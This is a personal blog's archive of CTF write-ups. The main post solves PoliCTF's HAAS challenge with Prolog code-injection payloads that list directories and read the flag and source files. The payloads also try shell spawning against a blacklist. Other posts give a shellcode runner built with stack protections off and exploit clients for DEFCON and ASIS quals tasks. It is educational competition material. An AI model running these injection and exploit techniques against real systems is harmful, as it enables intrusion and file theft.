Thursday, March 8, 2018

Finding Gynvael's hidden cats

I'm sure you're watching Gynvael's youtube channel (https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg) and read his blog at http://gynvael.coldwind.pl.
He left a note on his blog.

Here's my attempt to find his cats.
https://gist.github.com/fritzfs/cb06d43b55bbbb5d2d2b3934d2ca2f34

Sunday, July 12, 2015

Writeup: HAAS (hanoi as a service) @ PoliCTF 2015


Let's try it.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1
* Move top disk from a to b
Now we try some non-expected characters.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
a
ERROR: Prolog initialisation failed:
ERROR: 
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
'
ERROR: Prolog initialisation failed:
ERROR: Syntax error: End of file in quoted string
ERROR: hanoi(')
ERROR: ** here **
ERROR:
It seems that we can do command injection here. 

Time to take a quick learning course at http://www.swi-prolog.org/pldoc/man?section=builtin

Let's discover how can we inject something without error. After seeing couple of prolog examples and trial and error we got this.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),write('test'),nl%
* Move top disk from a to b
test
So, that's it. First part "1)" closes hanoi call and last part "%" comments the real rest of hanoi call. In between we can inject our statements. 

Maybe we could execute shell?
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),shell('sh'),nl%
Sorry, that's not implemented!
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),system('sh'),nl%
Nice try...
Nah, seems it's blacklisted or something.

So the idea is to read flag file and print it.

Flag is usually in file called "flag".
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('flag',read,str),read(str,m),write(m),nl%
* Move top disk from a to b
ERROR: Prolog initialisation failed:
ERROR: open/3: source_sink `flag' does not exist (No such file or directory)
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('/home/haas/flag',read,str),read(str,m),write(m),nl%
* Move top disk from a to b
ERROR: Prolog initialisation failed:
ERROR: open/3: source_sink `/home/haas/flag' does not exist (No such file or directory)
It seems we'll have to get listing first in order to find flag file. There's a "ls" statement which can be used for this.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),ls,nl%
* Move top disk from a to b
bin/            initrd.img      mnt/            run/            usr/
boot/           lib/            netdumps/       sbin/           var/
dev/            lib64/          opt/            srv/            vmlinuz
etc/            lost+found/     proc/           sys/           
home/           media/          root/           tmp/            
After that we should use working_directory to switch current directory and do another ls under home and so on ...
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home'),ls,nl%
* Move top disk from a to b
ctf/      ubuntu/   
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home/ctf'),ls,nl%
* Move top disk from a to b
haas/   
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),working_directory(CWD,'/home/ctf/haas'),ls,nl%
* Move top disk from a to b
haas                      haas-proxy.py             jhknsjdfhef_flag_here
Ok, so that's the file name - jhknsjdfhef_flag_here.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read(Str,m),close(Str),write(m),nl%
* Move top disk from a to b
ERROR: /home/ctf/haas/jhknsjdfhef_flag_here:1:
	Prolog initialisation failed:
	/home/ctf/haas/jhknsjdfhef_flag_here:1: Syntax error: Unexpected end of file
Damn it. Google says that we have to use at_end_of_stream(Str) somewhere, but I didn't manage to get it so I've switched to another method.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),use_module(library(readutil)),open('/home/ctf/haas/jhknsjdfhef_flag_here',read,Str),read_line_to_codes(Str,Line),write(Line),nl%
* Move top disk from a to b
[102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
Let's convert those numbers into characters.
C:\Users\fstipanovic>python
Python 2.7.8 (default, Jun 30 2014, 16:08:48) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a = [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]
>>> b = ""
>>> for c in a:
...     b += chr(c)
...
>>> print b
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
That's the flag.

I wanted to take a look at challenge source codes and this was a way to get them.
fritz@fritz-virtual-machine:~$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),listing,nl%
* Move top disk from a to b
dohanoi(0, _, _, _) :- !.
dohanoi(A, C, E, D) :- !,
	B is A+ -1,
	dohanoi(B, C, D, E),
	moveit(C, E),
	dohanoi(B, D, E, C).
hanoi(A) :-
	A<15 br="">	dohanoi(A, a, b, c).
hanoi(A) :-
A>=15, write('Hey, this problem is too big for my poor mind...'), nl. :- multifile prolog_clause_name/2. :- dynamic prolog_exception_hook/4. :- multifile prolog_exception_hook/4. prolog_exception_hook(error(A, context(D, B)), error(A, context(prolog_stack(I), B)), G, C) :-     prolog_stack:     (   (   C==none ->  stack_guard(none) ;   prolog_frame_attribute(C, predicate_indicator, E),    debug(backtrace,  'Got exception ~p (Ctx0=~p, Catcher=~p)',  [A, D, E]),    stack_guard(E) ), (   current_prolog_flag(backtrace_depth, F) ->  F>0 ;   F=20 ), get_prolog_backtrace(G, F, H), debug(backtrace, 'Stack = ~p', [H]), clean_stack(H, I)     ). :- dynamic resource/3. :- multifile resource/3. first(A, [A|_]). :- multifile prolog_list_goal/1. :- thread_local thread_message_hook/3. :- dynamic thread_message_hook/3. :- volatile thread_message_hook/3. :- multifile prolog_predicate_name/2. moveit(A, B) :- print('* Move top disk from '), print(A), print(' to '), print(B), nl. main :- A=[104, 97, 110, 111, 105, 40], D=[41], write('Welcome to the Hanoi-as-a-Service cloud platform!'), nl, write('How many disks does your tower have?'), nl, read_line_to_codes(user_input, B), append(A, B, C), append(C, D, E), string_to_atom(E, F), read_term_from_atom(F, G, []), call(G), halt(0). :- multifile message_property/2.
fritz@fritz-virtual-machine:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),use_module(library(readutil)),open('/home/ctf/haas/haas-proxy.py',read,Str),read_stream_to_codes(Str,Line),write(Line),nl%
* Move top disk from a to b
[35,33,47,117,115,114,47,98,105,110,47,101,110,118,...]
fritz@fritz-virtual-machine:~/ctf/polictf$ python
Python 2.7.8 (default, Oct 20 2014, 15:05:19)
[GCC 4.9.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = ...
>>> b = ""
>>> for c in a:
...     b += chr(c)
...
>>> print b
#!/usr/bin/env python
import subprocess
import sys
import os
import threading
import random
def stdinreader():
    while True:
        try:
            l = sys.stdin.readline()
        except KeyboardInterrupt:
            break
        if not l:
            break
        yield l
class Proxy:
    def __init__(self, blacklist, phrases, args):
        self.blacklist = blacklist
        self.phrases = phrases
        try:
            self.chld = subprocess.Popen(args, stdin=subprocess.PIPE)
        except OSError:
            print "Error starting the haas process."
            sys.exit(1)
    def is_allowed(self, l):
        return reduce(lambda x,y: x and y, [x not in l for x in self.blacklist], True)
    def listen(self):
        for line in stdinreader():
            if self.chld.poll() is None:
                if self.is_allowed(line):
                    self.chld.communicate(line)
                else:
                    print random.choice(self.phrases)
                    break
            else:
                return
        self.chld.terminate()
    def run(self):
        t = threading.Thread(target=self.listen)
        t.daemon = True
        t.start()
        self.chld.wait()
if __name__ == '__main__':
    bl = ['shell','unix','system','cd','argv']
    phrases = ['Nice try...', 'Nope.', 'What are you trying to do?!?', "Sorry, that's not implemented!"]
    ex = os.path.join(os.path.dirname(os.path.realpath(__file__)), "haas")
    if len(sys.argv) == 2:
        ex = sys.argv[1]
    proxy = Proxy(bl, phrases, [ex])
    proxy.run()
So we were right. Shell, unix and system were blacklisted.

Monday, May 18, 2015

Writeup: Coding 1 @ DEFCON CTF Quals 2015

This was the task. Connect to remote host, receive initial register state and instructions in binary. 


Not pretty, but I solved this using python, c and gdb.

coding1sc.c code, compile: gcc -fno-stack-protector -z execstack coding1sc.c -o coding1sc
#include
int main(int argc, char **argv)
{
    int fp;
    char buffer[512];
    fp = fopen(argv[1], "rb");
    fread(buffer, sizeof(buffer), 1, fp);
    fclose(fp);
    int (*func)();
    func = (int (*)()) buffer;
    (int)(*func)();
    return 0;
}
coding1.gdb script
break *0x400649
commands
    print $rax
    print $rbx
    print $rcx
    print $rdx
    print $rsi
    print $rdi
    print $r8
    print $r9
    print $r10
    print $r11
    print $r12
    print $r13
    print $r14
    print $r15
    c
end 
r coding1.bin
coding1.py
import commands
import socket
import re
import os 
def rv(reg, line):
    return re.search('%s=0x([0-9a-f]+)' % reg, line).group(1).zfill(16) 
def rv2(reg, line):
    return re.search('\$%s = (0x[0-9a-f]+)' % reg, line).group(1) 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me', 9999)) 
data = s.recv(1024)
rax = rv('rax', data)
rbx = rv('rbx', data)
rcx = rv('rcx', data)
rdx = rv('rdx', data)
rsi = rv('rsi', data)
rdi = rv('rdi', data)
r8 = rv('r8', data)
r9 = rv('r9', data)
r10 = rv('r10', data)
r11 = rv('r11', data)
r12 = rv('r12', data)
r13 = rv('r13', data)
r14 = rv('r14', data)
r15 = rv('r15', data) 
inst = '\x48\xb8' + rax.decode('hex')[::-1]
inst += '\x48\xbb' + rbx.decode('hex')[::-1]
inst += '\x48\xb9' + rcx.decode('hex')[::-1]
inst += '\x48\xba' + rdx.decode('hex')[::-1]
inst += '\x48\xbe' + rsi.decode('hex')[::-1]
inst += '\x48\xbf' + rdi.decode('hex')[::-1]
inst += '\x49\xb8' + r8.decode('hex')[::-1]
inst += '\x49\xb9' + r9.decode('hex')[::-1]
inst += '\x49\xba' + r10.decode('hex')[::-1]
inst += '\x49\xbb' + r11.decode('hex')[::-1]
inst += '\x49\xbc' + r12.decode('hex')[::-1]
inst += '\x49\xbd' + r13.decode('hex')[::-1]
inst += '\x49\xbe' + r14.decode('hex')[::-1]
inst += '\x49\xbf' + r15.decode('hex')[::-1] 
data = s.recv(1024)
bytes = int(re.search('About to send (\d+) bytes', data).group(1))
inst += data[-bytes:]
f = open('coding1.bin', 'wb')
f.write(inst)
f.close() 
o = commands.getoutput('gdb ./coding1sc < coding1.gdb') 
final = 'rax=%s\r\n' % rv2('1', o)
final += 'rbx=%s\r\n' % rv2('2', o)
final += 'rcx=%s\r\n' % rv2('3', o)
final += 'rdx=%s\r\n'  % rv2('4', o)
final += 'rsi=%s\r\n' % rv2('5', o)
final += 'rdi=%s\r\n' % rv2('6', o)
final += 'r8=%s\r\n' % rv2('7', o)
final += 'r9=%s\r\n' % rv2('8', o)
final += 'r10=%s\r\n' % rv2('9', o)
final += 'r11=%s\r\n' % rv2('10', o)
final += 'r12=%s\r\n' % rv2('11', o)
final += 'r13=%s\r\n' % rv2('12', o)
final += 'r14=%s\r\n' % rv2('13', o)
final += 'r15=%s\r\n' % rv2('14', o) 
print 'Sending', final
s.sendall(final) 
print s.recv(1024) 
s.close()
Let's use all this.

Monday, May 11, 2015

Writeup: Saw this -1 @ ASIS CTF Quals 2015

Category: pwn
Points: 100
Description:


After loading binary in disassembler we easily identify the application flow.
random A = rand()
name = ask_user("How can I call you?")
print("Welcome $name")
lucky_number = ask_user("Choose your lucky number ...")
srand(lucky_number + random A)
how_many_numbers = generate_random()
for i in 1 to how_many_numbers:
    number[i] = generate_random()
for i in 1 to how_many_numbers:
    guess = ask_user("Number $i")
    if guess != number[i]:
        quit
We can almost predict random numbers. Part of seed is our lucky number and another part is random number A. Second part is unknown, how can we get it? 

Let's take a look at memory layout. 


RandomA is placed right after username buffer and that's good because of printf. Plan is to fulfill username buffer so that printf prints random A also.


Good, so we have leakage here. 

Now we have to re-implement same algorithm in C using srand/rand or we can use existing binary. I chose the latter. 

Idea is this:
connect to remote binary (ip 87.107.123.3, port 31337)
send A * 64 characters as username
read random A (4 bytes after username)
send 5 (or whatever) as lucky number
run local binary with breakpoints and commands to emulate same numbers
read predicted numbers
type numbers in remote binary and enjoy the flag
Take a look at function on 0x400D73. With couple of breakpoints and EIP/RIP redirection we can use that function to emulate environment and read random numbers. It's fairly simple so just gdb script is listed below.
break *0x400D89
commands
set $rip = 0x400E46
c
end
break *0x400E46
commands
set $edx = 0x11223344
set $eax = 5
c
end
break *0x400E8B
commands
set $count = $eax
set $i = 0
set $rip = 0x400EAE
c
end
break *0x400ECD
commands
print/u $dl
set $i = $i + 1
if $i == $count
    quit
end
set $rip = 0x400EAE
c
end
r
We also need client which will connect to remote binary, read random A and tell us with which argument do we have to run local binary.
import socket
import sys
import struct
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('87.107.123.3', 31337))
while True:
    d = s.recv(1024)
    print d
    if 'How can I call you?' in d:
        break
s.sendall('A' * 64)
d = s.recv(1024)
leak = d[73:77]
leak = leak[::-1]
leak = leak.encode('hex')
print 'change 0x11223344 to 0x%s in script file' % (leak)
s.sendall('5\n')
print s.recv(1024)
t = telnetlib.Telnet()
t.sock = s
t.interact()
Let's use all this and get the flag.







Wednesday, June 26, 2013

Solving Calyx Android Challenge #2

Solved another android challenge from Calyx. Take a look at it here.

Sunday, June 2, 2013

ebCTF 2013 teaser - participation

Short post regarding CTF :-)
Eindbazen organized CTF for first time. They done a great job. My team gn00bz finished on 13th place. I was stuck on NET300 task and I'm happy to see this writeup by tsuro and comawill - https://gist.github.com/schlafloswille/5692285.

Friday, May 31, 2013

Solving Calyx #1 Android challenge

I decided to be less inactive on this blog :-)

Friend from Calyx posted Android challenge. Here's my writeup.